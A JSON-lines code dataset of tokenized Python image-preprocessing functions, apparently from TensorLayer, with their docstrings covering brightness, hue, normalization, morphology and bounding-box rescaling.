{"signature": "def brightness(x, gamma=<NUM_LIT:1>, gain=<NUM_LIT:1>, is_random=False):", "body": "if is_random:<EOL><INDENT>gamma = np.random.uniform(<NUM_LIT:1> - gamma, <NUM_LIT:1> + gamma)<EOL><DEDENT>x = exposure.adjust_gamma(x, gamma, gain)<EOL>return x<EOL>", "docstring": "Change the brightness of a single image, randomly or non-randomly.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    gamma : float\n        Non negative real number. Default value is 1.\n            - Small than 1 means brighter.\n            - If `is_random` is True, gamma in a range of (1-gamma, 1+gamma).\n    gain : float\n        The constant multiplier. Default value is 1.\n    is_random : boolean\n        If True, randomly change brightness. Default is False.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    References\n    -----------\n    - `skimage.exposure.adjust_gamma <http://scikit-image.org/docs/dev/api/skimage.exposure.html>`__\n    - `chinese blog <http://www.cnblogs.com/denny402/p/5124402.html>`__", "id": "f11202:m32"}
{"signature": "def brightness_multi(x, gamma=<NUM_LIT:1>, gain=<NUM_LIT:1>, is_random=False):", "body": "if is_random:<EOL><INDENT>gamma = np.random.uniform(<NUM_LIT:1> - gamma, <NUM_LIT:1> + gamma)<EOL><DEDENT>results = []<EOL>for data in x:<EOL><INDENT>results.append(exposure.adjust_gamma(data, gamma, gain))<EOL><DEDENT>return np.asarray(results)<EOL>", "docstring": "Change the brightness of multiply images, randomly or non-randomly.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpyarray\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.brightness``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m33"}
{"signature": "def illumination(x, gamma=<NUM_LIT:1.>, contrast=<NUM_LIT:1.>, saturation=<NUM_LIT:1.>, is_random=False):", "body": "if is_random:<EOL><INDENT>if not (len(gamma) == len(contrast) == len(saturation) == <NUM_LIT:2>):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>illum_settings = np.random.randint(<NUM_LIT:0>, <NUM_LIT:3>)  <EOL>if illum_settings == <NUM_LIT:0>:  <EOL><INDENT>gamma = np.random.uniform(gamma[<NUM_LIT:0>], <NUM_LIT:1.0>)  <EOL><DEDENT>elif illum_settings == <NUM_LIT:1>:  <EOL><INDENT>gamma = np.random.uniform(<NUM_LIT:1.0>, gamma[<NUM_LIT:1>])  <EOL><DEDENT>else:<EOL><INDENT>gamma = <NUM_LIT:1><EOL><DEDENT>im_ = brightness(x, gamma=gamma, gain=<NUM_LIT:1>, is_random=False)<EOL>image = PIL.Image.fromarray(im_)  <EOL>contrast_adjust = PIL.ImageEnhance.Contrast(image)<EOL>image = contrast_adjust.enhance(np.random.uniform(contrast[<NUM_LIT:0>], contrast[<NUM_LIT:1>]))  <EOL>saturation_adjust = PIL.ImageEnhance.Color(image)<EOL>image = saturation_adjust.enhance(np.random.uniform(saturation[<NUM_LIT:0>], saturation[<NUM_LIT:1>]))  <EOL>im_ = np.array(image)  <EOL><DEDENT>else:<EOL><INDENT>im_ = brightness(x, gamma=gamma, gain=<NUM_LIT:1>, is_random=False)<EOL>image = PIL.Image.fromarray(im_)  <EOL>contrast_adjust = PIL.ImageEnhance.Contrast(image)<EOL>image = contrast_adjust.enhance(contrast)<EOL>saturation_adjust = PIL.ImageEnhance.Color(image)<EOL>image = saturation_adjust.enhance(saturation)<EOL>im_ = np.array(image)  <EOL><DEDENT>return np.asarray(im_)<EOL>", "docstring": "Perform illumination augmentation for a single image, randomly or non-randomly.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    gamma : float\n        Change brightness (the same with ``tl.prepro.brightness``)\n            - if is_random=False, one float number, small than one means brighter, greater than one means darker.\n            - if is_random=True, tuple of two float numbers, (min, max).\n    contrast : float\n        Change contrast.\n            - if is_random=False, one float number, small than one means blur.\n            - if is_random=True, tuple of two float numbers, (min, max).\n    saturation : float\n        Change saturation.\n            - if is_random=False, one float number, small than one means unsaturation.\n            - if is_random=True, tuple of two float numbers, (min, max).\n    is_random : boolean\n        If True, randomly change illumination. Default is False.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    ---------\n    Random\n\n    >>> x = tl.prepro.illumination(x, gamma=(0.5, 5.0), contrast=(0.3, 1.0), saturation=(0.7, 1.0), is_random=True)\n\n    Non-random\n\n    >>> x = tl.prepro.illumination(x, 0.5, 0.6, 0.8, is_random=False)", "id": "f11202:m34"}
{"signature": "def rgb_to_hsv(rgb):", "body": "<EOL>rgb = rgb.astype('<STR_LIT:float>')<EOL>hsv = np.zeros_like(rgb)<EOL>hsv[..., <NUM_LIT:3>:] = rgb[..., <NUM_LIT:3>:]<EOL>r, g, b = rgb[..., <NUM_LIT:0>], rgb[..., <NUM_LIT:1>], rgb[..., <NUM_LIT:2>]<EOL>maxc = np.max(rgb[..., :<NUM_LIT:3>], axis=-<NUM_LIT:1>)<EOL>minc = np.min(rgb[..., :<NUM_LIT:3>], axis=-<NUM_LIT:1>)<EOL>hsv[..., <NUM_LIT:2>] = maxc<EOL>mask = maxc != minc<EOL>hsv[mask, <NUM_LIT:1>] = (maxc - minc)[mask] / maxc[mask]<EOL>rc = np.zeros_like(r)<EOL>gc = np.zeros_like(g)<EOL>bc = np.zeros_like(b)<EOL>rc[mask] = (maxc - r)[mask] / (maxc - minc)[mask]<EOL>gc[mask] = (maxc - g)[mask] / (maxc - minc)[mask]<EOL>bc[mask] = (maxc - b)[mask] / (maxc - minc)[mask]<EOL>hsv[..., <NUM_LIT:0>] = np.select([r == maxc, g == maxc], [bc - gc, <NUM_LIT> + rc - bc], default=<NUM_LIT> + gc - rc)<EOL>hsv[..., <NUM_LIT:0>] = (hsv[..., <NUM_LIT:0>] / <NUM_LIT>) % <NUM_LIT:1.0><EOL>return hsv<EOL>", "docstring": "Input RGB image [0~255] return HSV image [0~1].\n\n    Parameters\n    ------------\n    rgb : numpy.array\n        An image with values between 0 and 255.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m35"}
{"signature": "def hsv_to_rgb(hsv):", "body": "<EOL>rgb = np.empty_like(hsv)<EOL>rgb[..., <NUM_LIT:3>:] = hsv[..., <NUM_LIT:3>:]<EOL>h, s, v = hsv[..., <NUM_LIT:0>], hsv[..., <NUM_LIT:1>], hsv[..., <NUM_LIT:2>]<EOL>i = (h * <NUM_LIT>).astype('<STR_LIT>')<EOL>f = (h * <NUM_LIT>) - i<EOL>p = v * (<NUM_LIT:1.0> - s)<EOL>q = v * (<NUM_LIT:1.0> - s * f)<EOL>t = v * (<NUM_LIT:1.0> - s * (<NUM_LIT:1.0> - f))<EOL>i = i % <NUM_LIT:6><EOL>conditions = [s == <NUM_LIT:0.0>, i == <NUM_LIT:1>, i == <NUM_LIT:2>, i == <NUM_LIT:3>, i == <NUM_LIT:4>, i == <NUM_LIT:5>]<EOL>rgb[..., <NUM_LIT:0>] = np.select(conditions, [v, q, p, p, t, v], default=v)<EOL>rgb[..., <NUM_LIT:1>] = np.select(conditions, [v, v, v, q, p, p], default=t)<EOL>rgb[..., <NUM_LIT:2>] = np.select(conditions, [v, p, t, v, v, q], default=p)<EOL>return rgb.astype('<STR_LIT>')<EOL>", "docstring": "Input HSV image [0~1] return RGB image [0~255].\n\n    Parameters\n    -------------\n    hsv : numpy.array\n        An image with values between 0.0 and 1.0\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m36"}
{"signature": "def adjust_hue(im, hout=<NUM_LIT>, is_offset=True, is_clip=True, is_random=False):", "body": "hsv = rgb_to_hsv(im)<EOL>if is_random:<EOL><INDENT>hout = np.random.uniform(-hout, hout)<EOL><DEDENT>if is_offset:<EOL><INDENT>hsv[..., <NUM_LIT:0>] += hout<EOL><DEDENT>else:<EOL><INDENT>hsv[..., <NUM_LIT:0>] = hout<EOL><DEDENT>if is_clip:<EOL><INDENT>hsv[..., <NUM_LIT:0>] = np.clip(hsv[..., <NUM_LIT:0>], <NUM_LIT:0>, np.inf)  <EOL><DEDENT>rgb = hsv_to_rgb(hsv)<EOL>return rgb<EOL>", "docstring": "Adjust hue of an RGB image.\n\n    This is a convenience method that converts an RGB image to float representation, converts it to HSV, add an offset to the hue channel, converts back to RGB and then back to the original data type.\n    For TF, see `tf.image.adjust_hue <https://www.tensorflow.org/api_docs/python/tf/image/adjust_hue>`__.and `tf.image.random_hue <https://www.tensorflow.org/api_docs/python/tf/image/random_hue>`__.\n\n    Parameters\n    -----------\n    im : numpy.array\n        An image with values between 0 and 255.\n    hout : float\n        The scale value for adjusting hue.\n            - If is_offset is False, set all hue values to this value. 0 is red; 0.33 is green; 0.66 is blue.\n            - If is_offset is True, add this value as the offset to the hue channel.\n    is_offset : boolean\n        Whether `hout` is added on HSV as offset or not. Default is True.\n    is_clip : boolean\n        If HSV value smaller than 0, set to 0. Default is True.\n    is_random : boolean\n        If True, randomly change hue. Default is False.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    ---------\n    Random, add a random value between -0.2 and 0.2 as the offset to every hue values.\n\n    >>> im_hue = tl.prepro.adjust_hue(image, hout=0.2, is_offset=True, is_random=False)\n\n    Non-random, make all hue to green.\n\n    >>> im_green = tl.prepro.adjust_hue(image, hout=0.66, is_offset=False, is_random=False)\n\n    References\n    -----------\n    - `tf.image.random_hue <https://www.tensorflow.org/api_docs/python/tf/image/random_hue>`__.\n    - `tf.image.adjust_hue <https://www.tensorflow.org/api_docs/python/tf/image/adjust_hue>`__.\n    - `StackOverflow: Changing image hue with python PIL <https://stackoverflow.com/questions/7274221/changing-image-hue-with-python-pil>`__.", "id": "f11202:m37"}
{"signature": "def imresize(x, size=None, interp='<STR_LIT>', mode=None):", "body": "if size is None:<EOL><INDENT>size = [<NUM_LIT:100>, <NUM_LIT:100>]<EOL><DEDENT>if x.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>x = scipy.misc.imresize(x[:, :, <NUM_LIT:0>], size, interp=interp, mode=mode)<EOL>return x[:, :, np.newaxis]<EOL><DEDENT>else:<EOL><INDENT>return scipy.misc.imresize(x, size, interp=interp, mode=mode)<EOL><DEDENT>", "docstring": "Resize an image by given output size and method.\n\n    Warning, this function will rescale the value to [0, 255].\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    size : list of 2 int or None\n        For height and width.\n    interp : str\n        Interpolation method for re-sizing (`nearest`, `lanczos`, `bilinear`, `bicubic` (default) or `cubic`).\n    mode : str\n        The PIL image mode (`P`, `L`, etc.) to convert image before resizing.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    References\n    ------------\n    - `scipy.misc.imresize <https://docs.scipy.org/doc/scipy/reference/generated/scipy.misc.imresize.html>`__", "id": "f11202:m38"}
{"signature": "def pixel_value_scale(im, val=<NUM_LIT>, clip=None, is_random=False):", "body": "clip = clip if clip is not None else (-np.inf, np.inf)<EOL>if is_random:<EOL><INDENT>scale = <NUM_LIT:1> + np.random.uniform(-val, val)<EOL>im = im * scale<EOL><DEDENT>else:<EOL><INDENT>im = im * val<EOL><DEDENT>if len(clip) == <NUM_LIT:2>:<EOL><INDENT>im = np.clip(im, clip[<NUM_LIT:0>], clip[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>return im<EOL>", "docstring": "Scales each value in the pixels of the image.\n\n    Parameters\n    -----------\n    im : numpy.array\n        An image.\n    val : float\n        The scale value for changing pixel value.\n            - If is_random=False, multiply this value with all pixels.\n            - If is_random=True, multiply a value between [1-val, 1+val] with all pixels.\n    clip : tuple of 2 numbers\n        The minimum and maximum value.\n    is_random : boolean\n        If True, see ``val``.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    ----------\n    Random\n\n    >>> im = pixel_value_scale(im, 0.1, [0, 255], is_random=True)\n\n    Non-random\n\n    >>> im = pixel_value_scale(im, 0.9, [0, 255], is_random=False)", "id": "f11202:m39"}
{"signature": "def samplewise_norm(<EOL>x, rescale=None, samplewise_center=False, samplewise_std_normalization=False, channel_index=<NUM_LIT:2>, epsilon=<NUM_LIT><EOL>):", "body": "if rescale:<EOL><INDENT>x *= rescale<EOL><DEDENT>if x.shape[channel_index] == <NUM_LIT:1>:<EOL><INDENT>if samplewise_center:<EOL><INDENT>x = x - np.mean(x)<EOL><DEDENT>if samplewise_std_normalization:<EOL><INDENT>x = x / np.std(x)<EOL><DEDENT>return x<EOL><DEDENT>elif x.shape[channel_index] == <NUM_LIT:3>:<EOL><INDENT>if samplewise_center:<EOL><INDENT>x = x - np.mean(x, axis=channel_index, keepdims=True)<EOL><DEDENT>if samplewise_std_normalization:<EOL><INDENT>x = x / (np.std(x, axis=channel_index, keepdims=True) + epsilon)<EOL><DEDENT>return x<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % x.shape[channel_index])<EOL><DEDENT>", "docstring": "Normalize an image by rescale, samplewise centering and samplewise centering in order.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    rescale : float\n        Rescaling factor. If None or 0, no rescaling is applied, otherwise we multiply the data by the value provided (before applying any other transformation)\n    samplewise_center : boolean\n        If True, set each sample mean to 0.\n    samplewise_std_normalization : boolean\n        If True, divide each input by its std.\n    epsilon : float\n        A small position value for dividing standard deviation.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    --------\n    >>> x = samplewise_norm(x, samplewise_center=True, samplewise_std_normalization=True)\n    >>> print(x.shape, np.mean(x), np.std(x))\n    (160, 176, 1), 0.0, 1.0\n\n    Notes\n    ------\n    When samplewise_center and samplewise_std_normalization are True.\n    - For greyscale image, every pixels are subtracted and divided by the mean and std of whole image.\n    - For RGB image, every pixels are subtracted and divided by the mean and std of this pixel i.e. the mean and std of a pixel is 0 and 1.", "id": "f11202:m40"}
{"signature": "def featurewise_norm(x, mean=None, std=None, epsilon=<NUM_LIT>):", "body": "if mean:<EOL><INDENT>x = x - mean<EOL><DEDENT>if std:<EOL><INDENT>x = x / (std + epsilon)<EOL><DEDENT>return x<EOL>", "docstring": "Normalize every pixels by the same given mean and std, which are usually\n    compute from all examples.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    mean : float\n        Value for subtraction.\n    std : float\n        Value for division.\n    epsilon : float\n        A small position value for dividing standard deviation.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m41"}
{"signature": "def get_zca_whitening_principal_components_img(X):", "body": "flatX = np.reshape(X, (X.shape[<NUM_LIT:0>], X.shape[<NUM_LIT:1>] * X.shape[<NUM_LIT:2>] * X.shape[<NUM_LIT:3>]))<EOL>tl.logging.info(\"<STR_LIT>\")<EOL>sigma = np.dot(flatX.T, flatX) / flatX.shape[<NUM_LIT:0>]<EOL>tl.logging.info(\"<STR_LIT>\")<EOL>U, S, _ = linalg.svd(sigma)  <EOL>tl.logging.info(\"<STR_LIT>\")<EOL>principal_components = np.dot(np.dot(U, np.diag(<NUM_LIT:1.> / np.sqrt(S + <NUM_LIT>))), U.T)<EOL>return principal_components<EOL>", "docstring": "Return the ZCA whitening principal components matrix.\n\n    Parameters\n    -----------\n    x : numpy.array\n        Batch of images with dimension of [n_example, row, col, channel] (default).\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m42"}
{"signature": "def zca_whitening(x, principal_components):", "body": "flatx = np.reshape(x, (x.size))<EOL>whitex = np.dot(flatx, principal_components)<EOL>x = np.reshape(whitex, (x.shape[<NUM_LIT:0>], x.shape[<NUM_LIT:1>], x.shape[<NUM_LIT:2>]))<EOL>return x<EOL>", "docstring": "Apply ZCA whitening on an image by given principal components matrix.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    principal_components : matrix\n        Matrix from ``get_zca_whitening_principal_components_img``.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m43"}
{"signature": "def channel_shift(x, intensity, is_random=False, channel_index=<NUM_LIT:2>):", "body": "if is_random:<EOL><INDENT>factor = np.random.uniform(-intensity, intensity)<EOL><DEDENT>else:<EOL><INDENT>factor = intensity<EOL><DEDENT>x = np.rollaxis(x, channel_index, <NUM_LIT:0>)<EOL>min_x, max_x = np.min(x), np.max(x)<EOL>channel_images = [np.clip(x_channel + factor, min_x, max_x) for x_channel in x]<EOL>x = np.stack(channel_images, axis=<NUM_LIT:0>)<EOL>x = np.rollaxis(x, <NUM_LIT:0>, channel_index + <NUM_LIT:1>)<EOL>return x<EOL>", "docstring": "Shift the channels of an image, randomly or non-randomly, see `numpy.rollaxis <https://docs.scipy.org/doc/numpy/reference/generated/numpy.rollaxis.html>`__.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    intensity : float\n        Intensity of shifting.\n    is_random : boolean\n        If True, randomly shift. Default is False.\n    channel_index : int\n        Index of channel. Default is 2.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m44"}
{"signature": "def channel_shift_multi(x, intensity, is_random=False, channel_index=<NUM_LIT:2>):", "body": "if is_random:<EOL><INDENT>factor = np.random.uniform(-intensity, intensity)<EOL><DEDENT>else:<EOL><INDENT>factor = intensity<EOL><DEDENT>results = []<EOL>for data in x:<EOL><INDENT>data = np.rollaxis(data, channel_index, <NUM_LIT:0>)<EOL>min_x, max_x = np.min(data), np.max(data)<EOL>channel_images = [np.clip(x_channel + factor, min_x, max_x) for x_channel in x]<EOL>data = np.stack(channel_images, axis=<NUM_LIT:0>)<EOL>data = np.rollaxis(x, <NUM_LIT:0>, channel_index + <NUM_LIT:1>)<EOL>results.append(data)<EOL><DEDENT>return np.asarray(results)<EOL>", "docstring": "Shift the channels of images with the same arguments, randomly or non-randomly, see `numpy.rollaxis <https://docs.scipy.org/doc/numpy/reference/generated/numpy.rollaxis.html>`__.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.channel_shift``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m45"}
{"signature": "def drop(x, keep=<NUM_LIT:0.5>):", "body": "if len(x.shape) == <NUM_LIT:3>:<EOL><INDENT>if x.shape[-<NUM_LIT:1>] == <NUM_LIT:3>:  <EOL><INDENT>img_size = x.shape<EOL>mask = np.random.binomial(n=<NUM_LIT:1>, p=keep, size=x.shape[:-<NUM_LIT:1>])<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>x[:, :, i] = np.multiply(x[:, :, i], mask)<EOL><DEDENT><DEDENT>elif x.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:  <EOL><INDENT>img_size = x.shape<EOL>x = np.multiply(x, np.random.binomial(n=<NUM_LIT:1>, p=keep, size=img_size))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(x.shape))<EOL><DEDENT><DEDENT>elif len(x.shape) == <NUM_LIT:2> or <NUM_LIT:1>:  <EOL><INDENT>img_size = x.shape<EOL>x = np.multiply(x, np.random.binomial(n=<NUM_LIT:1>, p=keep, size=img_size))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(x.shape))<EOL><DEDENT>return x<EOL>", "docstring": "Randomly set some pixels to zero by a given keeping probability.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] or [row, col].\n    keep : float\n        The keeping probability (0, 1), the lower more values will be set to zero.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m46"}
{"signature": "def array_to_img(x, dim_ordering=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>), scale=True):", "body": "<EOL>x = x.transpose(dim_ordering)<EOL>if scale:<EOL><INDENT>x += max(-np.min(x), <NUM_LIT:0>)<EOL>x_max = np.max(x)<EOL>if x_max != <NUM_LIT:0>:<EOL><INDENT>x = x / x_max<EOL><DEDENT>x *= <NUM_LIT:255><EOL><DEDENT>if x.shape[<NUM_LIT:2>] == <NUM_LIT:3>:<EOL><INDENT>return PIL.Image.fromarray(x.astype('<STR_LIT>'), '<STR_LIT>')<EOL><DEDENT>elif x.shape[<NUM_LIT:2>] == <NUM_LIT:1>:<EOL><INDENT>return PIL.Image.fromarray(x[:, :, <NUM_LIT:0>].astype('<STR_LIT>'), '<STR_LIT:L>')<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>', x.shape[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "Converts a numpy array to PIL image object (uint8 format).\n\n    Parameters\n    ----------\n    x : numpy.array\n        An image with dimension of 3 and channels of 1 or 3.\n    dim_ordering : tuple of 3 int\n        Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0).\n    scale : boolean\n        If True, converts image to [0, 255] from any range of value like [-1, 2]. Default is True.\n\n    Returns\n    -------\n    PIL.image\n        An image.\n\n    References\n    -----------\n    `PIL Image.fromarray <http://pillow.readthedocs.io/en/3.1.x/reference/Image.html?highlight=fromarray>`__", "id": "f11202:m47"}
{"signature": "def find_contours(x, level=<NUM_LIT>, fully_connected='<STR_LIT>', positive_orientation='<STR_LIT>'):", "body": "return skimage.measure.find_contours(<EOL>x, level, fully_connected=fully_connected, positive_orientation=positive_orientation<EOL>)<EOL>", "docstring": "Find iso-valued contours in a 2D array for a given level value, returns list of (n, 2)-ndarrays\n    see `skimage.measure.find_contours <http://scikit-image.org/docs/dev/api/skimage.measure.html#skimage.measure.find_contours>`__.\n\n    Parameters\n    ------------\n    x : 2D ndarray of double.\n        Input data in which to find contours.\n    level : float\n        Value along which to find contours in the array.\n    fully_connected : str\n        Either `low` or `high`. Indicates whether array elements below the given level value are to be considered fully-connected (and hence elements above the value will only be face connected), or vice-versa. (See notes below for details.)\n    positive_orientation : str\n        Either `low` or `high`. Indicates whether the output contours will produce positively-oriented polygons around islands of low- or high-valued elements. If `low` then contours will wind counter-clockwise around elements below the iso-value. Alternately, this means that low-valued elements are always on the left of the contour.\n\n    Returns\n    --------\n    list of (n,2)-ndarrays\n        Each contour is an ndarray of shape (n, 2), consisting of n (row, column) coordinates along the contour.", "id": "f11202:m48"}
{"signature": "def pt2map(list_points=None, size=(<NUM_LIT:100>, <NUM_LIT:100>), val=<NUM_LIT:1>):", "body": "if list_points is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>i_m = np.zeros(size)<EOL>if len(list_points) == <NUM_LIT:0>:<EOL><INDENT>return i_m<EOL><DEDENT>for xx in list_points:<EOL><INDENT>for x in xx:<EOL><INDENT>i_m[int(np.round(x[<NUM_LIT:0>]))][int(np.round(x[<NUM_LIT:1>]))] = val<EOL><DEDENT><DEDENT>return i_m<EOL>", "docstring": "Inputs a list of points, return a 2D image.\n\n    Parameters\n    --------------\n    list_points : list of 2 int\n        [[x, y], [x, y]..] for point coordinates.\n    size : tuple of 2 int\n        (w, h) for output size.\n    val : float or int\n        For the contour value.\n\n    Returns\n    -------\n    numpy.array\n        An image.", "id": "f11202:m49"}
{"signature": "def binary_dilation(x, radius=<NUM_LIT:3>):", "body": "mask = disk(radius)<EOL>x = _binary_dilation(x, selem=mask)<EOL>return x<EOL>", "docstring": "Return fast binary morphological dilation of an image.\n    see `skimage.morphology.binary_dilation <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.binary_dilation>`__.\n\n    Parameters\n    -----------\n    x : 2D array\n        A binary image.\n    radius : int\n        For the radius of mask.\n\n    Returns\n    -------\n    numpy.array\n        A processed binary image.", "id": "f11202:m50"}
{"signature": "def dilation(x, radius=<NUM_LIT:3>):", "body": "mask = disk(radius)<EOL>x = dilation(x, selem=mask)<EOL>return x<EOL>", "docstring": "Return greyscale morphological dilation of an image,\n    see `skimage.morphology.dilation <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.dilation>`__.\n\n    Parameters\n    -----------\n    x : 2D array\n        An greyscale image.\n    radius : int\n        For the radius of mask.\n\n    Returns\n    -------\n    numpy.array\n        A processed greyscale image.", "id": "f11202:m51"}
{"signature": "def binary_erosion(x, radius=<NUM_LIT:3>):", "body": "mask = disk(radius)<EOL>x = _binary_erosion(x, selem=mask)<EOL>return x<EOL>", "docstring": "Return binary morphological erosion of an image,\n    see `skimage.morphology.binary_erosion <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.binary_erosion>`__.\n\n    Parameters\n    -----------\n    x : 2D array\n        A binary image.\n    radius : int\n        For the radius of mask.\n\n    Returns\n    -------\n    numpy.array\n        A processed binary image.", "id": "f11202:m52"}
{"signature": "def erosion(x, radius=<NUM_LIT:3>):", "body": "mask = disk(radius)<EOL>x = _erosion(x, selem=mask)<EOL>return x<EOL>", "docstring": "Return greyscale morphological erosion of an image,\n    see `skimage.morphology.erosion <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.erosion>`__.\n\n    Parameters\n    -----------\n    x : 2D array\n        A greyscale image.\n    radius : int\n        For the radius of mask.\n\n    Returns\n    -------\n    numpy.array\n        A processed greyscale image.", "id": "f11202:m53"}
{"signature": "def obj_box_coords_rescale(coords=None, shape=None):", "body": "if coords is None:<EOL><INDENT>coords = []<EOL><DEDENT>if shape is None:<EOL><INDENT>shape = [<NUM_LIT:100>, <NUM_LIT:200>]<EOL><DEDENT>imh, imw = shape[<NUM_LIT:0>], shape[<NUM_LIT:1>]<EOL>imh = imh * <NUM_LIT:1.0>  <EOL>imw = imw * <NUM_LIT:1.0><EOL>coords_new = list()<EOL>for coord in coords:<EOL><INDENT>if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>x = coord[<NUM_LIT:0>] / imw<EOL>y = coord[<NUM_LIT:1>] / imh<EOL>w = coord[<NUM_LIT:2>] / imw<EOL>h = coord[<NUM_LIT:3>] / imh<EOL>coords_new.append([x, y, w, h])<EOL><DEDENT>return coords_new<EOL>", "docstring": "Scale down a list of coordinates from pixel unit to the ratio of image size i.e. in the range of [0, 1].\n\n    Parameters\n    ------------\n    coords : list of list of 4 ints or None\n        For coordinates of more than one images .e.g.[[x, y, w, h], [x, y, w, h], ...].\n    shape : list of 2 int or None\n        \u3010height, width].\n\n    Returns\n    -------\n    list of list of 4 numbers\n        A list of new bounding boxes.\n\n\n    Examples\n    ---------\n    >>> coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50], [10, 10, 20, 20]], shape=[100, 100])\n    >>> print(coords)\n      [[0.3, 0.4, 0.5, 0.5], [0.1, 0.1, 0.2, 0.2]]\n    >>> coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50]], shape=[50, 100])\n    >>> print(coords)\n      [[0.3, 0.8, 0.5, 1.0]]\n    >>> coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50]], shape=[100, 200])\n    >>> print(coords)\n      [[0.15, 0.4, 0.25, 0.5]]\n\n    Returns\n    -------\n    list of 4 numbers\n        New coordinates.", "id": "f11202:m54"}
{"signature": "def obj_box_coord_rescale(coord=None, shape=None):", "body": "if coord is None:<EOL><INDENT>coord = []<EOL><DEDENT>if shape is None:<EOL><INDENT>shape = [<NUM_LIT:100>, <NUM_LIT:200>]<EOL><DEDENT>return obj_box_coords_rescale(coords=[coord], shape=shape)[<NUM_LIT:0>]<EOL>", "docstring": "Scale down one coordinates from pixel unit to the ratio of image size i.e. in the range of [0, 1].\n    It is the reverse process of ``obj_box_coord_scale_to_pixelunit``.\n\n    Parameters\n    ------------\n    coords : list of 4 int or None\n        One coordinates of one image e.g. [x, y, w, h].\n    shape : list of 2 int or None\n        For [height, width].\n\n    Returns\n    -------\n    list of 4 numbers\n        New bounding box.\n\n    Examples\n    ---------\n    >>> coord = tl.prepro.obj_box_coord_rescale(coord=[30, 40, 50, 50], shape=[100, 100])\n      [0.3, 0.4, 0.5, 0.5]", "id": "f11202:m55"}
{"signature": "def obj_box_coord_scale_to_pixelunit(coord, shape=None):", "body": "if shape is None:<EOL><INDENT>shape = [<NUM_LIT:100>, <NUM_LIT:100>]<EOL><DEDENT>imh, imw = shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>x = int(coord[<NUM_LIT:0>] * imw)<EOL>x2 = int(coord[<NUM_LIT:2>] * imw)<EOL>y = int(coord[<NUM_LIT:1>] * imh)<EOL>y2 = int(coord[<NUM_LIT:3>] * imh)<EOL>return [x, y, x2, y2]<EOL>", "docstring": "Convert one coordinate [x, y, w (or x2), h (or y2)] in ratio format to image coordinate format.\n    It is the reverse process of ``obj_box_coord_rescale``.\n\n    Parameters\n    -----------\n    coord : list of 4 float\n        One coordinate of one image [x, y, w (or x2), h (or y2)] in ratio format, i.e value range [0~1].\n    shape : tuple of 2 or None\n        For [height, width].\n\n    Returns\n    -------\n    list of 4 numbers\n        New bounding box.\n\n    Examples\n    ---------\n    >>> x, y, x2, y2 = tl.prepro.obj_box_coord_scale_to_pixelunit([0.2, 0.3, 0.5, 0.7], shape=(100, 200, 3))\n      [40, 30, 100, 70]", "id": "f11202:m56"}
